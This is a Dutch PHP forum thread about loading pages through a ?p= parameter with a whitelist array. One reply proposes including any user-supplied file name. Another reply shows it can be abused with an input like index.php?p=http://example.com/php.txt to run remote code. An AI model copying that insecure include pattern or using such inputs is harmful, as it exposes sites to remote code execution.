Probleem, bij pagina vinden met array's en include

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Ruben Kok

Ruben Kok

08/12/2008 13:44:00
Quote Anchor link
Index.php:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
<html>
<head>
<?
include("include.php");
?>

<title>.:Dreamy-Flower Design:.</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
#apDiv1 {
    position:absolute;
    left:28px;
    top:187px;
    width:165px;
    height:747px;
    z-index:1;
}
#apDiv2 {
    position:absolute;
    left:202px;
    top:187px;
    width:730px;
    height:683px;
    z-index:2;
}
#apDiv3 {
    position:absolute;
    left:203px;
    top:885px;
    width:727px;
    height:50px;
    z-index:3;
}
a:link {
    text-decoration: none;
}
a:visited {
    text-decoration: none;
}
a:hover {
    text-decoration: none;
}
a:active {
    text-decoration: none;
}
-->
</style>
<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
<script src="SpryAssets/SpryCollapsiblePanel.js" type="text/javascript"></script>
<link href="SpryAssets/SpryCollapsiblePanel.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {color: #000000}
-->
</style>
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<font face="Eurostile">
<!-- ImageReady Slices (Untitled-1.psd) -->
</font>
<div id="apDiv1" style="position: absolute; left: 28px; top: 187px">
  <div align="center">
    <div id="CollapsiblePanel1" class="CollapsiblePanel">
      <div class="CollapsiblePanelTab" tabindex="0">
        <font face="Eurostile" size="3">Site</font></div>
      <font face="Eurostile">
      <a href="index.php?" class="style1">Home</a><br>
        <a href="#" class="style1">Forum</a><br>
      <a class="style1" href="http://dutchani.du.funpic.de/index.php?p=mailformulier">Contact</a>
    </font>
    <div id="CollapsiblePanel2" class="CollapsiblePanel">
      <div class="CollapsiblePanelTab" tabindex="0">
        <font face="Eurostile" size="3">Design</font></div>
      <div class="CollapsiblePanelContent"><font face="Eurostile">
        <a class="style1" href="http://dutchani.du.funpic.de/index.php?p=Design/Portfolio/index">Portfolio</a><span class="style1"><a href="#"><br>
            </a></span><a href="#" class="style1">Codering</a><span class="style1"><a href="#"><br>
            </a></span><a href="#" class="style1">Projects</a>
          
        </font>
          
        <div id="CollapsiblePanel3" class="CollapsiblePanel">
          <div class="CollapsiblePanelTab" tabindex="0">
            <font face="Eurostile" size="3">Overig</font></div>
          <div class="CollapsiblePanelContent"><font face="Eurostile"><a href="#" class="style1">Free Templates<br>
          Free Scripts</a></font></div>
        </div>
      </div>
    </div>
    </div>
    <p>&nbsp;</p>
  </div>
</div>
<div id="apDiv2">
<font face="Eurostile">&nbsp;
<?
include("cutenews/show_news.php");
?>

</font>
</div>
<div id="apDiv3" style="position: absolute; left: 203px; top: 880px">
  <div align="center"></div>
  <p align="center"><font face="Eurostile"> Dreamy-Flower design.<br>
    Dreamy-Flower design, Fully made bu Dreamy-Flower design.</font></div>
<table id="Table_01" width="1000" height="1000" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td colspan="3">
            <font face="Eurostile">
            <img src="images/Home_01.gif" width="203" height="187" alt=""></font></td>
        <td>
            <font face="Eurostile">
            <img src="images/Home_02.gif" width="746" height="187" alt=""></font></td>
        <td rowspan="4">
            <font face="Eurostile">
            <img src="images/Home_03.gif" width="51" height="1000" alt=""></font></td>
    </tr>
    <tr>
        <td rowspan="3">
            <font face="Eurostile">
            <img src="images/Home_04.gif" width="17" height="813" alt=""></font></td>
        <td rowspan="2">
            <font face="Eurostile">
            <img src="images/Home_05.gif" width="184" height="749" alt=""></font></td>
        <td rowspan="3">
            <font face="Eurostile">
            <img src="images/Home_06.gif" width="2" height="813" alt=""></font></td>
        <td>
            <font face="Eurostile">
            <img src="images/Home_07.gif" width="746" height="698" alt=""></font></td>
    </tr>
    <tr>
        <td>
            <font face="Eurostile">
            <img src="images/Home_08.gif" width="746" height="51" alt=""></font></td>
    </tr>
    <tr>
        <td>
            <font face="Eurostile">
            <img src="images/Home_09.gif" width="184" height="64" alt=""></font></td>
        <td>
            <font face="Eurostile">
            <img src="images/Home_10.gif" width="746" height="64" alt=""></font></td>
    </tr>
</table>
<font face="Eurostile">
<!-- End ImageReady Slices -->
<script type="text/javascript">
<!--
var CollapsiblePanel1 = new Spry.Widget.CollapsiblePanel("CollapsiblePanel1");
var CollapsiblePanel2 = new Spry.Widget.CollapsiblePanel("CollapsiblePanel2");
var CollapsiblePanel3 = new Spry.Widget.CollapsiblePanel("CollapsiblePanel3");
//-->
</script>
</font>
</body>
</html>
[/CODE]
Gewijzigd op 01/01/1970 01:00:00 door Ruben Kok
 
PHP hulp

PHP hulp

18/11/2024 07:43:28
 
Ruben Kok

Ruben Kok

08/12/2008 13:45:00
Quote Anchor link
include.php
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
//Een lijst ('array') met bestanden maken die zijn toegestaan. Als je dus wilt toestaan dat 'blaat.php' geinclude wordt voeg je blaat toe aan de array. Denk erom dat er achter elk item(behalve de laatste) een komma moet
$pages = array(
                'index',
                'mailformulier',
                'formmail',
                'Design/Portfolio/index',
                'Design/Portfolio/login',
                'Design/Portfolio/user',
                'Design/Portfolio/db_connect'
               );

//Als er niets achter ?p= staat (pagina.php?p=) dan wordt de standaard pagina gebruikt.              
if(empty($_GET['p']))
{

    include 'standaard.php';
}

else
{
    //Er staat iets achter, we kijken nu of de pagina die er achter ?p= staat ook in de array voorkomt en dus toegestaan is. Het ! voor in array geeft aan dat er NIET aan de volwaarde voldaan wordt. Hier staat dus: 'Als de pagina niet in de array zit, dan:'
    if(!in_array($_GET['p'], $pages))
    {

        echo 'Niet toegestaan!';
    }

    else
    {
        //De pagina mag geinclude worden volgens onze array, met file_exists kijken we of het bestand wel bestaat, je kan hem immers vergeten zijn toe te voegen. Let ook weer op het !.
        if(!file_exists('paginas/' . $_GET['p'] . '.php'))
        {

            echo 'Het bestand ' . $_GET['p'] . '.php is niet gevonden!';
        }

        else
        {
            //Het bestand is geldig en bestaatd, dus wordt geinclude
            include 'paginas/' . $_GET['p'] . '.php';
        }
    }
}

?>
Gewijzigd op 01/01/1970 01:00:00 door Ruben Kok
 
Ruben Kok

Ruben Kok

08/12/2008 13:48:00
Quote Anchor link
Als ik op een link klik in de index dan staat er dat ie het bestand niet kan vinden?

Niet Bumpen::
Twee of meer keer achter elkaar in een topic posten heet bumpen. Bumpen is pas na 24 uur toegestaan en kan een reden zijn voor de admins en moderators om een topic te sluiten. Gebruik indien nodig de Afbeelding knop om je tekst aan te passen.

SanThe.
Gewijzigd op 01/01/1970 01:00:00 door Ruben Kok
 
/home/joost

/home/joost

02/01/2009 13:34:00
Quote Anchor link
Ik gebruik altijd dit:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if (!empty($_GET['p'])) {
    // $_GET["p"] is niet leeg
    if (file_exists($_GET['p'].'.php')) {
       // de pagina bestaat, dit check je met de functie hierboven
       $page = $_GET['p'].'.php';
    }

    else {
        // pagina bestaat niet en is dus home.php
        $page='home.php';
    }
}

else {
   // $_GET["P"] is leeg / bestaat niet $page is dus home.php
    $page='home.php';
}

?>


En dan op index.php het design, en waar ik de content wil hebben zeg ik:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
include($page);
?>


Volgensmij vergeet jij dat ook in je 2'e post op regel 35...

mvg Joost.
Gewijzigd op 01/01/1970 01:00:00 door /home/joost
 
Crispijn -

Crispijn -

02/01/2009 13:38:00
Quote Anchor link
Dat is wel één van de meest onveilige methoden Joost! Wat zou als een pagina wordt aangeroepen die niet aangeroepen mag worden? Maak een array met toegestane pagina's. Dan ben je al een stuk beter bezig.
 
/home/joost

/home/joost

02/01/2009 13:40:00
Quote Anchor link
@Crispijn: Welke pagina zou niet aangeroepen mogen worden dan ?
Wanneer een pagina niet aangeroepen mag worden dan ga ik er vanuit dat deze beveiligd is en dat dit daardoor dus toch geen zin heeft omdat je dan een melding krijgt dat je dan niet ingelogd bent of geen rechten hebt..

mvg JOost.
 
Crispijn -

Crispijn -

02/01/2009 13:42:00
Quote Anchor link
Er zijn toch zat pagina's die je niet aan wil roepen? Classes, functies, verbindingen en andere bestanden die iets op je server kunnen doen.
 
/home/joost

/home/joost

02/01/2009 13:48:00
Quote Anchor link
Daar heb je wel gelijk in ja......, maar meestal staan die in een andere map (bij mij iniedergeval).

mvg Joost.
 
Erwin Geen

Erwin Geen

02/01/2009 14:41:00
Quote Anchor link
Dat kan ook:
index.php?p=map/bestand

Of nog beter
index.php?p=http://example.com/php.txt
en dan wordt de code in php.txt uitgevoerd op een andere server.
Heel onveilig.
 
/home/joost

/home/joost

02/01/2009 19:48:00
Quote Anchor link
Hmmzzzz, dan kun je het als nog beveilegen door te kijken of het in 1 bepaalde map is (dit zal ik er bij m'n eigen in bouwen...).

mvg Joost.
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.